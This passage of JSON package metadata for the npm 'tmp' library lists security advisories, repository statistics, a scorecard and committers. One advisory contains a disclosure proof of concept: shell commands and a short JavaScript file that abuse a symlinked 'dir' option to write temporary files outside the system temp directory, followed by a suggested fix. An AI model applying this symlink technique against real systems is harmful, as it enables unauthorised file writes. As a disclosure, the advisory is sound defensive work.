BugBunny_ai","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-27T00:34:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65","https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429","https://nvd.nist.gov/vuln/detail/CVE-2026-44705","https://github.com/advisories/GHSA-ph9p-34f9-6g65"],"source_kind":"github","identifiers":["GHSA-ph9p-34f9-6g65","CVE-2026-44705"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-27T01:00:08.982Z","updated_at":"2026-07-10T13:00:56.775Z","epss_percentage":0.00354,"epss_percentile":0.2753,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waDlwLTM0ZjktNmc2Nc4ABXbc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1waDlwLTM0ZjktNmc2Nc4ABXbc","packages":[{"ecosystem":"npm","package_name":"tmp","versions":[{"first_patched_version":"0.2.6","vulnerable_version_range":"\u003c 0.2.6"}],"purl":"pkg:npm/tmp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waDlwLTM0ZjktNmc2Nc4ABXbc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MmY1LTk4ODgtaG1jNs4ABK1q","url":"https://github.com/advisories/GHSA-52f5-9888-hmc6","title":"tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter","description":"### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n     absolute paths are fine as long as they point to a location under the system's default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === 'name') {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === '..' || basename === '.' || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === 'dir' || option === 'template') {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n    tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n    console.log('test 1:', err.message)\n}\n\ntry {\n    tmp.fileSync({ 'dir': '/foo'});\n} catch (err) {\n    console.log('test 2:', err.message)\n}\n\ntry {\n    const fs = require('node:fs');\n    const resolved = fs.realpathSync('/tmp/evil-dir');\n    tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n    console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-08-06T17:06:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.5,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6","https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b","https://nvd.nist.gov/vuln/detail/CVE-2025-54798","https://github.com/raszi/node-tmp/issues/207","https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html","https://github.com/advisories/GHSA-52f5-9888-hmc6"],"source_kind":"github","identifiers":["GHSA-52f5-9888-hmc6","CVE-2025-54798"],"repository_url":"https://github.com/raszi/node-tmp","blast_radius":0.0,"created_at":"2025-08-06T18:09:50.816Z","updated_at":"2026-07-09T20:03:53.311Z","epss_percentage":0.00331,"epss_percentile":0.24993,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MmY1LTk4ODgtaG1jNs4ABK1q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MmY1LTk4ODgtaG1jNs4ABK1q","packages":[{"ecosystem":"npm","package_name":"tmp","versions":[{"first_patched_version":"0.2.4","vulnerable_version_range":"\u003c= 0.2.3"}],"purl":"pkg:npm/tmp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MmY1LTk4ODgtaG1jNs4ABK1q/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/tmp","docker_dependents_count":21115,"docker_downloads_count":6396181852,"usage_url":"https://repos.ecosyste.ms/usage/npm/tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/tmp/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-06-15T06:10:42.811Z","issues_count":50,"pull_requests_count":80,"avg_time_to_close_issue":38377481.93617021,"avg_time_to_close_pull_request":5892294.617647059,"issues_closed_count":47,"pull_requests_closed_count":68,"pull_request_authors_count":33,"issue_authors_count":32,"avg_comments_per_issue":5.32,"avg_comments_per_pull_request":2.1875,"merged_pull_requests_count":55,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp/codemeta","maintainers":[{"uuid":"raszi","login":"raszi","name":null,"email":"npm@spam.raszi.hu","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~raszi","role":null,"created_at":"2022-11-15T01:13:16.375Z","updated_at":"2022-11-15T01:13:16.375Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/raszi/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5679045,"maintainers_count":1211546,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":13460121,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-09T07:25:41.411Z","latest_release_published_at":"2026-02-09T07:25:41.411Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1","last_synced_at":"2026-03-09T08:16:23.185Z","created_at":"2026-02-09T07:25:41.030Z","updated_at":"2026-03-09T08:51:28.921Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":1473,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":214},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-06-10T05:17:05.787Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":2467106,"name":"tmp-sigint","ecosystem":"npm","description":"Temporary file and directory creator","homepage":"http://github.com/raszi/node-tmp","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["temporary","tmp","temp","tempdir","tempfile","tmpdir","tmpfile"],"namespace":null,"versions_count":1,"first_release_published_at":"2020-04-27T21:38:49.033Z","latest_release_published_at":"2020-04-27T21:38:49.033Z","latest_release_number":"0.1.0","last_synced_at":"2026-07-23T01:12:59.987Z","created_at":"2022-04-10T02:12:20.739Z","updated_at":"2026-07-23T01:12:59.987Z","registry_url":"https://www.npmjs.com/package/tmp-sigint","install_command":"npm install tmp-sigint","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.1.0"}},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2026-05-27T15:47:49.000Z","size":1501,"stargazers_count":773,"open_issues_count":11,"forks_count":99,"subscribers_count":5,"default_branch":"master","last_synced_at":"2026-06-04T13:29:02.572Z","etag":null,"topics":["library","nodejs","tempdir","tempfiles"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2026-05-30T19:51:30.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a8011771-a0ff-41ec-ac6b-1eecf41924f1","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":42,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34304806,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-13T02:00:06.617Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-13T18:45:33.320Z","dependent_packages_count":0,"downloads":13,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":43.5886015547087,"dependent_repos_count":25.32799796580169,"dependent_packages_count":32.89382871786066,"stargazers_count":3.2475704974304964,"forks_count":3.739454815780194,"average":21.75949071031635},"purl":"pkg:npm/tmp-sigint","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/tmp-sigint","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/tmp-sigint","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/tmp-sigint/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-21T21:32:44.155Z","issues_count":50,"pull_requests_count":80,"avg_time_to_close_issue":38377481.93617021,"avg_time_to_close_pull_request":5892294.617647059,"issues_closed_count":47,"pull_requests_closed_count":68,"pull_request_authors_count":33,"issue_authors_count":32,"avg_comments_per_issue":5.32,"avg_comments_per_pull_request":2.1875,"merged_pull_requests_count":55,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-sigint/codemeta","maintainers":[{"uuid":"ezze","login":"ezze","name":null,"email":"ezze@ezze.org","url":null,"packages_count":31,"html_url":"https://www.npmjs.com/~ezze","role":null,"created_at":"2022-11-15T01:13:09.528Z","updated_at":"2022-11-15T01:13:09.528Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ezze/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5679045,"maintainers_count":1211546,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":13847,"full_name":"raszi/node-tmp","default_branch":"master","total_commits":363,"total_committers":39,"total_bot_commits":2,"total_bot_committers":1,"mean_commits":9.307692307692308,"dds":0.4242424242424242,"past_year_total_commits":7,"past_year_total_committers":3,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":2.3333333333333335,"past_year_dds":0.2857142857142857,"last_synced_at":"2026-07-22T22:46:48.167Z","last_synced_commit":"8ea1f37d75c67569e0f151448330d52f7babf211","created_at":"2023-03-07T11:24:44.315Z","updated_at":"2026-07-22T22:45:49.266Z","committers":[{"name":"KARASZI István","email":"github@spam.raszi.hu","login":"raszi","count":209},{"name":"Carsten Klein","email":"trancesilken@gmail.com","login":"silkentrance","count":90},{"name":"Nathan Phillip Brink","email":"ohnobinki@ohnopublishing.net","login":"binki","count":9},{"name":"Andrew Morris","email":"voltrevo@gmail.com","login":"voltrevo","count":8},{"name":"Joscha Feth","email":"joscha@feth.com","login":"joscha","count":4},{"name":"nate johnson","email":"nate@biobright.org","login":null,"count":3},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":2},{"name":"Peter A. Bigot","email":"pab@pabigot.com","login":"pabigot","count":2},{"name":"Maxime Bargiel","email":"maxime.bargiel@gmail.com","login":"mbargiel","count":2},{"name":"Matteo Collina","email":"matteo.collina@gmail.com","login":"mcollina","count":2},{"name":"Mat Scales","email":"mscales@google.com","login":"wibblymat","count":2},{"name":"Ari Hannikainen","email":"Ari-H","login":"Ari-H","count":2},{"name":"Andrey Kupreychik","email":"kupreychik_af@bitworks-software.com","login":"foxel","count":2},{"name":"whmountains","email":"whmountains@icloud.com","login":null,"count":1},{"name":"István Karaszi","email":"ikaraszi@whitepages.com","login":null,"count":1},{"name":"Amila Welihinda","email":"amilajack","login":"amilajack","count":1},{"name":"Anna Henningsen","email":"anna@addaleax.net","login":"addaleax","count":1},{"name":"Dan Kerimdzhanov","email":"kerimdzhanov@gmail.com","login":"kerimdzhanov","count":1},{"name":"Dave 